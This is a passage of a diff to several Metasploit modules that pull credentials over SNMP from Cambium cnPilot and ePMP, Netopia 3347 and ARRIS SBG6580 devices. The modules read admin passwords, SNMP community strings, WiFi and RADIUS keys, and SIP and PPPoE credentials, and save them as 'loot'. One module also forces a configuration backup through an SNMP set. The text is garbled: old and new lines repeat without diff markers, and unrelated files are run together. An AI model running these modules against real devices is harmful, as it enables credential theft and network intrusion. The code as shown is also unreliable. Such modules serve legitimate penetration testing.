cnpilot_info << "SNMP System Description: #{snmp_system_description}" << "\n"
cnpilot_info << "Device UpTime: #{cnpilot_system_uptime}" << "\n"
cnpilot_info << "Hardware version: #{cnpilot_hardware_version}" << "\n"
cnpilot_info << "Firmware version: #{cnpilot_firmware_version}" << "\n"
cnpilot_info << "SNMP System Name: #{snmp_system_name}" << "\n"
cnpilot_info << "SNMP System Description: #{snmp_system_description}" << "\n"
cnpilot_info << "Device UpTime: #{cnpilot_system_uptime}" << "\n"
cnpilot_info << "Hardware version: #{cnpilot_hardware_version}" << "\n"
cnpilot_info << "Firmware version: #{cnpilot_firmware_version}" << "\n"
# cnPilot Web Management Admin account Info
admin_username = snmp.get_value('1.3.6.1.4.1.41010.1.7.12.0')
admin_password = snmp.get_value('1.3.6.1.4.1.41010.1.7.13.0')
# cnPilot Web Management Admin account Info
admin_username = snmp.get_value('1.3.6.1.4.1.41010.1.7.12.0')
admin_password = snmp.get_value('1.3.6.1.4.1.41010.1.7.13.0')
cnpilot_info << "Web Management Admin Login Name: #{admin_username}" << "\n"
cnpilot_info << "Web Management Admin Login Password: #{admin_password}" << "\n"
cnpilot_info << "Web Management Admin Login Name: #{admin_username}" << "\n"
cnpilot_info << "Web Management Admin Login Password: #{admin_password}" << "\n"
# SNMP Info
snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.2.0')
snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.3.0')
snmp_trap_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.4.0')
snmp_trap_entry_ip = snmp.get_value('1.3.6.1.4.1.41010.1.9.1.0')
# SNMP Info
snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.2.0')
snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.3.0')
snmp_trap_community = snmp.get_value('1.3.6.1.4.1.41010.1.9.4.0')
snmp_trap_entry_ip = snmp.get_value('1.3.6.1.4.1.41010.1.9.1.0')
cnpilot_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n"
cnpilot_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n"
cnpilot_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n"
cnpilot_info << "SNMP Trap Server IP Address: #{snmp_trap_entry_ip}" << "\n"
cnpilot_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n"
cnpilot_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n"
cnpilot_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n"
cnpilot_info << "SNMP Trap Server IP Address: #{snmp_trap_entry_ip}" << "\n"
# WIFI Info
wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.6.1')
wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.8.1')
wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.7.1')
# WIFI Info
wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.6.1')
wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.8.1')
wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.41010.1.10.2.1.1.1.7.1')
cnpilot_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n"
cnpilot_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n"
cnpilot_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n"
cnpilot_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n"
cnpilot_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n"
cnpilot_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n"
# SIP Account Info
sip_accountnumber = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.11.1')
sip_accountpassword = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.12.1')
# SIP Account Info
sip_accountnumber = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.11.1')
sip_accountpassword = snmp.get_value('1.3.6.1.4.1.41010.1.5.1.1.12.1')
cnpilot_info << "SIP Account Number: #{sip_accountnumber}" << "\n"
cnpilot_info << "SIP Account Password: #{sip_accountpassword}" << "\n"
cnpilot_info << "SIP Account Number: #{sip_accountnumber}" << "\n"
cnpilot_info << "SIP Account Password: #{sip_accountpassword}" << "\n"
# Printing captured info
print_status("Fetching System Information...\n")
print_good("SNMP System Name: #{snmp_system_name}")
print_good("SNMP System Description: #{snmp_system_description}")
print_good("Device UpTime: #{cnpilot_system_uptime}")
print_good("Hardware version: #{cnpilot_hardware_version}")
print_good("Firmware version: #{cnpilot_firmware_version}\n")
# Printing captured info
print_status("Fetching System Information...\n")
print_good("SNMP System Name: #{snmp_system_name}")
print_good("SNMP System Description: #{snmp_system_description}")
print_good("Device UpTime: #{cnpilot_system_uptime}")
print_good("Hardware version: #{cnpilot_hardware_version}")
print_good("Firmware version: #{cnpilot_firmware_version}\n")
print_status("Fetching Login Account Information...\n")
print_good("Web Management Admin Login Name: #{admin_username}")
print_good("Web Management Admin Login Password: #{admin_password}\n")
print_status("Fetching Login Account Information...\n")
print_good("Web Management Admin Login Name: #{admin_username}")
print_good("Web Management Admin Login Password: #{admin_password}\n")
print_status("Fetching SNMP Information...\n")
print_good("SNMP read-only community name: #{snmp_readonly_community}")
print_good("SNMP read-write community name: #{snmp_readwrite_community}")
print_good("SNMP Trap Community: #{snmp_trap_community}")
print_good("SNMP Trap Server IP Address: #{snmp_trap_entry_ip} \n")
print_status("Fetching SNMP Information...\n")
print_good("SNMP read-only community name: #{snmp_readonly_community}")
print_good("SNMP read-write community name: #{snmp_readwrite_community}")
print_good("SNMP Trap Community: #{snmp_trap_community}")
print_good("SNMP Trap Server IP Address: #{snmp_trap_entry_ip} \n")
print_status("Fetching WIFI Information...\n")
print_good("Wireless Interface SSID: #{wireless_interface_ssid}")
print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}")
print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n")
print_status("Fetching WIFI Information...\n")
print_good("Wireless Interface SSID: #{wireless_interface_ssid}")
print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}")
print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n")
print_status("Fetching SIP Account Information...\n")
print_good("SIP Account Number: #{sip_accountnumber}")
print_good("SIP Account Password: #{sip_accountpassword}\n")
print_status("Fetching SIP Account Information...\n")
print_good("SIP Account Number: #{sip_accountnumber}")
print_good("SIP Account Password: #{sip_accountpassword}\n")
# Woot we got loot.
loot_name = 'snmp_loot'
loot_type = 'text/plain'
loot_filename = 'cnpilot_snmp_loot.txt'
loot_desc = 'Cambium cnPilot configuration data'
p = store_loot(loot_name, loot_type, datastore['RHOST'], cnpilot_info, loot_filename, loot_desc)
print_good("Cambium cnPilot SNMP loot saved at #{p} \n")
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
elog(e)
ensure
disconnect_snmp
end
# Woot we got loot.
loot_name = 'snmp_loot'
loot_type = 'text/plain'
loot_filename = 'cnpilot_snmp_loot.txt'
loot_desc = 'Cambium cnPilot configuration data'
p = store_loot(loot_name, loot_type, datastore['RHOST'], cnpilot_info, loot_filename, loot_desc)
print_good("Cambium cnPilot SNMP loot saved at #{p} \n")
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("Unknown error: #{e.class} #{e}")
elog(e)
ensure
disconnect_snmp
end
end
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
@@ -22,146 +23,147 @@ class MetasploitModule < Msf::Auxiliary
configuration file can then be downloaded without authentication. The module
has been tested on Cambium ePMP versions 3.5 & prior.
},
'References' =>
[
['URL', 'https://ipositivesecurity.com/2017/04/07/cambium-snmp-security-vulnerabilities/'],
['CVE', '2017-7918'],
['CVE', '2017-7922']
],
'References' => [
['URL', 'https://ipositivesecurity.com/2017/04/07/cambium-snmp-security-vulnerabilities/'],
['CVE', '2017-7918'],
['CVE', '2017-7922']
],
'Author' => ['Karn Ganeshen'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
end
def run_host(ip)
begin
snmp = connect_snmp
snmp = connect_snmp
epmp_info = ''
epmp_info = ''
# System Info
snmp_systemname = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.3.0')
snmp_systemdescription = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.4.0')
system_uptime = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.4.0')
uboot_version = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.14.0')
# System Info
snmp_systemname = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.3.0')
snmp_systemdescription = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.4.0')
system_uptime = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.4.0')
uboot_version = snmp.get_value('1.3.6.1.4.1.17713.21.1.1.14.0')
epmp_info << "SNMP System Name: #{snmp_systemname}" << "\n"
epmp_info << "SNMP System Description: #{snmp_systemdescription}" << "\n"
epmp_info << "Device UpTime: #{system_uptime}" << "\n"
epmp_info << "U-boot version: #{uboot_version}" << "\n"
epmp_info << "SNMP System Name: #{snmp_systemname}" << "\n"
epmp_info << "SNMP System Description: #{snmp_systemdescription}" << "\n"
epmp_info << "Device UpTime: #{system_uptime}" << "\n"
epmp_info << "U-boot version: #{uboot_version}" << "\n"
# SNMP Info
snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.1.0')
snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.2.0')
snmp_trap_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.6.0')
snmp_trap_entryip = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.7.1.2.0')
# SNMP Info
snmp_readonly_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.1.0')
snmp_readwrite_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.2.0')
snmp_trap_community = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.6.0')
snmp_trap_entryip = snmp.get_value('1.3.6.1.4.1.17713.21.3.5.7.1.2.0')
epmp_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n"
epmp_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n"
epmp_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n"
epmp_info << "SNMP Trap Server IP Address: #{snmp_trap_entryip}" << "\n"
epmp_info << "SNMP read-only community name: #{snmp_readonly_community}" << "\n"
epmp_info << "SNMP read-write community name: #{snmp_readwrite_community}" << "\n"
epmp_info << "SNMP Trap Community: #{snmp_trap_community}" << "\n"
epmp_info << "SNMP Trap Server IP Address: #{snmp_trap_entryip}" << "\n"
# WIFI Radius Info
wireless_radius_serverinfo = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.5.0')
wireless_radius_serverport = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.3.0')
wireless_radius_serversecret = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.4.0')
wireless_radius_username = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.8.0')
wireless_radius_password = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.9.0')
# WIFI Radius Info
wireless_radius_serverinfo = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.5.0')
wireless_radius_serverport = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.3.0')
wireless_radius_serversecret = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.6.1.1.4.0')
wireless_radius_username = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.8.0')
wireless_radius_password = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.5.9.0')
epmp_info << "RADIUS server info: #{wireless_radius_serverinfo}" << "\n"
epmp_info << "RADIUS server port: #{wireless_radius_serverport}" << "\n"
epmp_info << "RADIUS server secret: #{wireless_radius_serversecret}" << "\n"
epmp_info << "Wireless Radius Username: #{wireless_radius_username}" << "\n"
epmp_info << "Wireless Radius Password: #{wireless_radius_password}" << "\n"
epmp_info << "RADIUS server info: #{wireless_radius_serverinfo}" << "\n"
epmp_info << "RADIUS server port: #{wireless_radius_serverport}" << "\n"
epmp_info << "RADIUS server secret: #{wireless_radius_serversecret}" << "\n"
epmp_info << "Wireless Radius Username: #{wireless_radius_username}" << "\n"
epmp_info << "Wireless Radius Password: #{wireless_radius_password}" << "\n"
# WIFI Info
wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.2.0')
wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.4.0')
wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.3.0')
# WIFI Info
wireless_interface_ssid = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.2.0')
wireless_interface_encryptionkey = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.4.0')
wireless_interface_encryption = snmp.get_value('1.3.6.1.4.1.17713.21.3.8.2.3.0')
epmp_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n"
epmp_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n"
epmp_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n"
epmp_info << "Wireless Interface SSID: #{wireless_interface_ssid}" << "\n"
epmp_info << "Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}" << "\n"
epmp_info << "Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption}" << "\n"
# Network PPPoE config
network_wan_pppoeservice = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.13.0')
network_wan_pppoeusername = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.10.0')
network_wan_pppoepassword = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.11.0')
# Network PPPoE config
network_wan_pppoeservice = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.13.0')
network_wan_pppoeusername = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.10.0')
network_wan_pppoepassword = snmp.get_value('1.3.6.1.4.1.17713.21.3.4.3.11.0')
epmp_info << "Network PPPoE Service Name: #{network_wan_pppoeservice}" << "\n"
epmp_info << "Network PPPoE Username: #{network_wan_pppoeusername}" << "\n"
epmp_info << "Network PPPoE Password: #{network_wan_pppoepassword}" << "\n"
epmp_info << "Network PPPoE Service Name: #{network_wan_pppoeservice}" << "\n"
epmp_info << "Network PPPoE Username: #{network_wan_pppoeusername}" << "\n"
epmp_info << "Network PPPoE Password: #{network_wan_pppoepassword}" << "\n"
# Printing captured info
print_status("Fetching System Information...\n")
print_good("#{ip}")
print_good("SNMP System Name: #{snmp_systemname}")
print_good("SNMP System Description: #{snmp_systemdescription}")
print_good("Device UpTime: #{system_uptime}")
print_good("U-boot version: #{uboot_version} \n")
# Printing captured info
print_status("Fetching System Information...\n")
print_good(ip.to_s)
print_good("SNMP System Name: #{snmp_systemname}")
print_good("SNMP System Description: #{snmp_systemdescription}")
print_good("Device UpTime: #{system_uptime}")
print_good("U-boot version: #{uboot_version} \n")
print_status("Fetching SNMP Information...\n")
print_good("SNMP read-only community name: #{snmp_readonly_community}")
print_good("SNMP read-write community name: #{snmp_readwrite_community}")
print_good("SNMP Trap Community: #{snmp_trap_community}")
print_good("SNMP Trap Server IP Address: #{snmp_trap_entryip} \n")
print_status("Fetching SNMP Information...\n")
print_good("SNMP read-only community name: #{snmp_readonly_community}")
print_good("SNMP read-write community name: #{snmp_readwrite_community}")
print_good("SNMP Trap Community: #{snmp_trap_community}")
print_good("SNMP Trap Server IP Address: #{snmp_trap_entryip} \n")
print_status("Fetching WIFI Information...\n")
print_good("Wireless Interface SSID: #{wireless_interface_ssid}")
print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}")
print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n")
print_status("Fetching WIFI Information...\n")
print_good("Wireless Interface SSID: #{wireless_interface_ssid}")
print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}")
print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n")
print_status("Fetching WIFI Radius Information...\n")
print_good("RADIUS server info: #{wireless_radius_serverinfo}")
print_good("RADIUS server port: #{wireless_radius_serverport}")
print_good("RADIUS server secret: #{wireless_radius_serversecret}")
print_good("Wireless Radius Username: #{wireless_radius_username}")
print_good("Wireless Radius Password: #{wireless_radius_password} \n")
print_status("Fetching WIFI Radius Information...\n")
print_good("RADIUS server info: #{wireless_radius_serverinfo}")
print_good("RADIUS server port: #{wireless_radius_serverport}")
print_good("RADIUS server secret: #{wireless_radius_serversecret}")
print_good("Wireless Radius Username: #{wireless_radius_username}")
print_good("Wireless Radius Password: #{wireless_radius_password} \n")
print_status("Fetching Network PPPoE Information...\n")
print_good("Network PPPoE Service Name: #{network_wan_pppoeservice}")
print_good("Network PPPoE Username: #{network_wan_pppoeusername}")
print_good("Network PPPoE Password: #{network_wan_pppoepassword} \n")
print_status("Fetching Network PPPoE Information...\n")
print_good("Network PPPoE Service Name: #{network_wan_pppoeservice}")
print_good("Network PPPoE Username: #{network_wan_pppoeusername}")
print_good("Network PPPoE Password: #{network_wan_pppoepassword} \n")
# set request
backup_oid = '1.3.6.1.4.1.17713.21.6.4.10.0'
enable_backup = '1'
varbind = SNMP::VarBind.new(backup_oid, SNMP::OctetString.new(enable_backup))
snmp.set(varbind)
backup_location_oid = '1.3.6.1.4.1.17713.21.6.4.13.0'
backup_location = snmp.get_value(backup_location_oid)
# set request
backup_oid = '1.3.6.1.4.1.17713.21.6.4.10.0'
enable_backup = '1'
varbind = SNMP::VarBind.new(backup_oid, SNMP::OctetString.new(enable_backup))
snmp.set(varbind)
backup_location_oid = '1.3.6.1.4.1.17713.21.6.4.13.0'
backup_location = snmp.get_value(backup_location_oid)
if @backup_location.present? == false
print_status('Backup needs to triggered manually. Run the following commands:')
print_status(" snmpset -c <SNMP-RW-string> -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.10.0 i 1")
print_status(" snmpget -c <SNMP-RW-string> -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.13.0 \n")
else
print_good("Configuration backed-up for direct download at: #{backup_location}")
end
# Woot we got loot.
loot_name = 'snmp_loot'
loot_type = 'text/plain'
loot_filename = 'epmp1000_snmp_loot.txt'
loot_desc = 'Cambium ePMP configuration data'
p = store_loot(loot_name, loot_type, datastore['RHOST'], epmp_info, loot_filename, loot_desc)
print_good("Cambium ePMP loot saved at #{p}")
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
elog(e)
ensure
disconnect_snmp
if @backup_location.present? == false
print_status('Backup needs to triggered manually. Run the following commands:')
print_status(" snmpset -c <SNMP-RW-string> -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.10.0 i 1")
print_status(" snmpget -c <SNMP-RW-string> -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.13.0 \n")
else
print_good("Configuration backed-up for direct download at: #{backup_location}")
end
# Woot we got loot.
loot_name = 'snmp_loot'
loot_type = 'text/plain'
loot_filename = 'epmp1000_snmp_loot.txt'
loot_desc = 'Cambium ePMP configuration data'
p = store_loot(loot_name, loot_type, datastore['RHOST'], epmp_info, loot_filename, loot_desc)
print_good("Cambium ePMP loot saved at #{p}")
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("Unknown error: #{e.class} #{e}")
elog(e)
ensure
disconnect_snmp
end
end
+81 -74
View File
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
@@ -10,90 +11,96 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Netopia 3347 Cable Modem Wifi Enumeration',
'Name' => 'Netopia 3347 Cable Modem Wifi Enumeration',
'Description' => %q{
This module extracts WEP keys and WPA preshared keys from
certain Netopia cable modems.
},
'References' =>
[
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
],
'Author' => ['Deral "PercentX" Heiland'],
'License' => MSF_LICENSE
'References' => [
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
],
'Author' => ['Deral "PercentX" Heiland'],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
end
def run_host(ip)
output_data = {}
begin
snmp = connect_snmp
snmp = connect_snmp
if snmp.get_value('sysDescr.0') =~ /Netopia 3347/
wifistatus = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.1.0')
if wifistatus == "1"
wifiinfo = ""
ssid = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.2.1')
print_good("#{ip}")
print_good("SSID: #{ssid}")
wifiinfo << "SSID: #{ssid}" << "\n"
wifiversion = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.4.1')
if wifiversion == "1"
# WEP enabled
elsif wifiversion == ("2"||"3")
wepkey1 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.1')
print_good("WEP KEY1: #{wepkey1}")
wifiinfo << "WEP KEY1: #{wepkey1}" << "\n"
wepkey2 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.2')
print_good("WEP KEY2: #{wepkey2}")
wifiinfo << "WEP KEY2: #{wepkey2}" << "\n"
wepkey3 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.3')
print_good("WEP KEY3: #{wepkey3}")
wifiinfo << "WEP KEY3: #{wepkey3}" << "\n"
wepkey4 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.4')
print_good("WEP KEY4: #{wepkey4}")
wifiinfo << "WEP KEY4: #{wepkey4}" << "\n"
actkey = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.13.0')
print_good("Active Wep key is Key#{actkey}")
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
# WPA enabled
elsif wifiversion == "4"
print_line("Device is configured for WPA ")
wpapsk = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.5.1')
print_good("WPA PSK: #{wpapsk}")
wifiinfo << "WPA PSK: #{wpapsk}" << "\n"
# WPA Enterprise enabled
elsif wifiversion == "5"
print_line("Device is configured for WPA enterprise")
else
print_line("FAILED")
end
else
print_line("WIFI is not enabled")
end
sys_desc = snmp.get_value('sysDescr.0')
unless sys_desc =~ /Netopia 3347/
print_error("#{ip} system is not Netopia 3347: #{sys_desc}")
return
end
# Woot we got loot.
loot_name = "netopia_wifi"
loot_type = "text/plain"
loot_filename = "netopia_wifi.txt"
loot_desc = "Netopia Wifi configuration data"
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc)
print_good("WiFi Data saved: #{p}")
rescue ::SNMP::UnsupportedVersion
rescue ::SNMP::RequestTimeout
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip} - Error: #{e.class} #{e}")
disconnect_snmp
end
wifistatus = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.1.0')
if wifistatus != '1'
print_line('WiFi is not enabled')
return
end
wifiinfo = ''
ssid = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.2.1')
print_good(ip.to_s)
print_good("SSID: #{ssid}")
wifiinfo << "SSID: #{ssid}" << "\n"
wifiversion = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.4.1')
if wifiversion == '1'
# WEP enabled
elsif wifiversion == ('2' || '3')
wepkey1 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.1')
print_good("WEP KEY1: #{wepkey1}")
wifiinfo << "WEP KEY1: #{wepkey1}" << "\n"
wepkey2 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.2')
print_good("WEP KEY2: #{wepkey2}")
wifiinfo << "WEP KEY2: #{wepkey2}" << "\n"
wepkey3 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.3')
print_good("WEP KEY3: #{wepkey3}")
wifiinfo << "WEP KEY3: #{wepkey3}" << "\n"
wepkey4 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.4')
print_good("WEP KEY4: #{wepkey4}")
wifiinfo << "WEP KEY4: #{wepkey4}" << "\n"
actkey = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.13.0')
print_good("Active Wep key is Key#{actkey}")
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
# WPA enabled
elsif wifiversion == '4'
print_line('Device is configured for WPA ')
wpapsk = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.5.1')
print_good("WPA PSK: #{wpapsk}")
wifiinfo << "WPA PSK: #{wpapsk}" << "\n"
# WPA Enterprise enabled
elsif wifiversion == '5'
print_line('Device is configured for WPA enterprise')
else
print_line('FAILED')
end
# Woot we got loot.
loot_name = 'netopia_wifi'
loot_type = 'text/plain'
loot_filename = 'netopia_wifi.txt'
loot_desc = 'Netopia WiFi configuration data'
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo, loot_filename, loot_desc)
print_good("WiFi Data saved: #{p}")
rescue ::SNMP::UnsupportedVersion => e
vprint_error(e.message)
rescue ::SNMP::RequestTimeout => e
vprint_error(e.message)
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("#{ip} - Error: #{e.class} #{e}")
disconnect_snmp
end
end
+227 -216
View File
@@ -3,224 +3,234 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module',
'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola
SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username
and password for the device user interface as well as wireless network keys
and information.
The default community used is "public".',
'References' =>
[
super(
update_info(
info,
'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module',
'Description' => %q{
This module allows SNMP enumeration of the ARRIS / Motorola
SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username
and password for the device user interface as well as wireless network keys
and information.
The default community used is "public".
},
'References' => [
[ 'URL', 'https://seclists.org/fulldisclosure/2014/May/79' ],
[ 'URL', 'https://web.archive.org/web/20150206092553/http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ],
[ 'OSVDB', '110555' ]
],
'Author' => 'Matthew Kienow <mkienow[at]inokii.com>',
'License' => MSF_LICENSE
))
'Author' => 'Matthew Kienow <mkienow[at]inokii.com>',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
# change SNMP version option to match device specification
register_options(
[
